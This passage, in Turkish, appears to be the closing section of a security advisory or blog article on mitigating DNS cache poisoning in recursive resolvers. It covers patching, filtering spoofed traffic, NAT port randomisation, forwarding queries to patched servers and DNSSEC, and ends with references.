Tedbirler

Sistemlerin Yamanması

Sistemlerde recursive(özyinelemeli) DNS sunucularının hepsinin yamanması gerekmektedir. http://www.bilgiguvenligi.gov.tr/index.php?option=com_content&task=view&id=277&Itemid=16 adresindeki TR-CERT ve http://www.kb.cert.org/vuls/id/800113 adresindeki US-CERT uyarısında etkilenen sistemler, yamaların mevcut olup olmadığı ve nasıl edinileceği üzerine bilgi bulunmaktadır. Başta ADSL modem, access point cihazları gibi gömülü sistemlerde güncellemenin donanımca mümkün olmaması ya da güncelleme imkanının bulunmaması ve bazı markaların henüz sorunun çözümünde adım atmamasından dolayı, yamanın mümkün olmadığı durumlarda, aşağıda belirtilen önlemlerin uygulanabilirliği gözden geçirilmelidir.

Erişimin Engellenmesi

Yamaların uygulanamadığı durumlarda, sunuculara özyinelemeli sorgu yapacak sistemler sınırlandırılarak saldırı kaynakları azaltılabilir. Fakat bu türden bir önlemden sonra bile sorgulamaya izni olan sistemlere erişimi olan saldırganlar açıklığı kullanarak önbellek zehirlemesi saldırısı yapabilirler.

Trafiğin Filtrelenmesi

Saldırının gerçekleşmesi için IP spoofing (aldatma) tekniği kullanılması gerektiğinden, sahte IP adreslerinin filtrelenmesi gerekmektedir. Filtrelemenin ayrıntıları için önerilebilecek RFC belgeleri aşağıdadır:

  1. http://tools.ietf.org/html/rfc2827 – RFC2827
  2. http://tools.ietf.org/html/rfc3704 – RFC3704
  3. http://tools.ietf.org/html/rfc3013 – RFC3013

Yerel DNS Önbelleği Kullanılması

Erişimin ve trafiğin engellenmesi gibi önlemlerle birlikte, hem istemci hem de sunucu tarafında yerel önbellekler kullanılarak, Internet üzerindeki açıklığı olan sunuculara yapılan saldırılardan yerel ağdaki kullanıcıların en az düzeyde etkilenmesi sağlanmalıdır.

Özyinelemenin Kapatılması

Güvenilmeyen sistemlerden gelen, özyineleme gerektiren sorgular engellenmelidir.

NAT/PAT Uygulanması

Port Address Translation (Kapı adresi tercümesi) uygulayan cihazlar genellikle bağlantı durumunu izleyebilmek için kaynak kapı adreslerini değiştirirler. NAT/PAT uygulamasında kullanılan bazı gömülü cihazlar, saldırıya karşı önerilen kaynak kapısının rastgeleliğinin uygulama tarafında artırılmasıyla kazanılan korumayı, kapı adreslerini yeniden ve daha etkisiz bir şekilde değiştirerek azaltabilir. Bu yüzden ağ üzerindeki NAT/PAT uygulamaları gözden geçirilmelidir.

Buna rağmen, uygun bir NAT uygulaması, rastgele kapı atanmasını sağlayabilir ve yamanmamış DNS sunucuları için de bir çözüm oluşturabilir. Iptables kullanarak önerilen bir çözüm http://cipherdyne.org/blog/2008/07/mitigating-dns-cache-poisoning-attacks-with-iptables.html adresinde bulunabilir. OpendBSD PF kullanılarak önerilen bir çözüm de http://blog.spoofed.org/2008/07/mitigating-dns-cache-poisoning-with-pf.html adresinde bulunabilir.

DNS trafiğinin başka bir sunucuya yönlendirilmesi

DNS açıklık bulunan sunucular yamanamıyorsa tüm sorguları yamaları uygulanmış ve açıklıkları kapatılmış başka bir sunucuya yönlendirilmesi sağlanabilir. Yaygın kullanılan Microsoft DNS ve BIND sunucuları için bu işlemin nasıl yapılacağı aşağıdaki adreslerden bakılabilir :

http://www.isc.org/index.pl?/sw/bind/docs/forwarding.php

http://technet2.microsoft.com/windowsserver/en/library/ee992253-235e-4fd4-b4da-7e57e70ad3821033.mspx?mfr=true

DNSSEC kullanımı

DNS tarafından sunulan bilgilerin güvenli hale getirilmesi için, DNS verisinin kaynağını doğrulayan, ve veri bütünlüğünü sağlayan genişletmeler içeren DNSSEC, bu ve benzeri saldırılara karşı en etkili çözüm olarak görülmekle birlikte, henüz bir standart olarak yaygınlaşmamıştır. Buna rağmen, DNSSEC kullanan iki ağ arasında güvenli veri paylaşımının ve olası saldırıların önüne geçilmesi mümkündür. DNSSEC uzantıları hakkında daha geniş bilgiye http://www.dnssec.net/ adresinden ulaşılabilir.

Sonuç

Internetin sağlıklı çalışması için kritik protokollerden olan DNS in uygulanmasında çok ciddi bir açıklık bulunmuştur. Bu açıklık sayesinde recursive(özyinelemeli) özelliği bulunan DNS sunucular önbellek zehirlenmesi saldırısına maruz kalabilmektedir. Bu açıklığı kullanan araçların da ortaya çıkması ile durum daha da ciddi bir hal almıştır. Başarılı bir saldırı sonrasında bu DNS sunucuları kullanan kurbanlar istekte bulundukları sayfalar yerine saldırganların belirlemiş olduğu sayfalara yönlendirilebilmektedirler. Açıklık kapatılması için yaygın yazılım üreticileri tarafından çıkartılan yamaların uygulanması tavsiye edilmektedir. Yamalar uygulanamiyorsa veya yama mevcut değilse bu sunuculara erişimin kısıtlanması , yerel (internetten doğrudan ulaşılamayan ) DNS önbelleğinin kullanılması , DNS sunucuları önüne saldırıyı kesebilecek Linux Iptables veya OpenBSD PF yerleştirilmesi veya tüm trafiğin yamanmış, açıklığı olmayan bir sunucuya yönlendirilmesi tavsiye edilmektedir.

1Bkz: http://www.sans.org/reading_room/whitepapers/dns/1567.php , “DNS Spoofing by The Man In The Middle”

2Bkz: http://www.doxpara.com/?p=1162 , “An Astonishing Collaboration”

3Bkz: http://www.kb.cert.org/vuls/id/800113 , “Multiple DNS implementations vulnerable to cache poisoning”

4Bkz: ftp://ftp.rfc-editor.org/in-notes/rfc1035.txt “Domain Names – Implementation and Specification”

5Nonce: “number used once” (bir kere kullanılan numara) deyiminin kısaltması. Genellikle yetkilendirme sırasında kullanılan ve ağ trafiğinin tekrarlanarak iletişimin ele geçirilmesine dayanan saldırıları engellemeye yarayan rastgele sayılara verilen isimdir.

Popularity: 27% [?]

, , , , , , , , , , , , , , , , , , , , , ,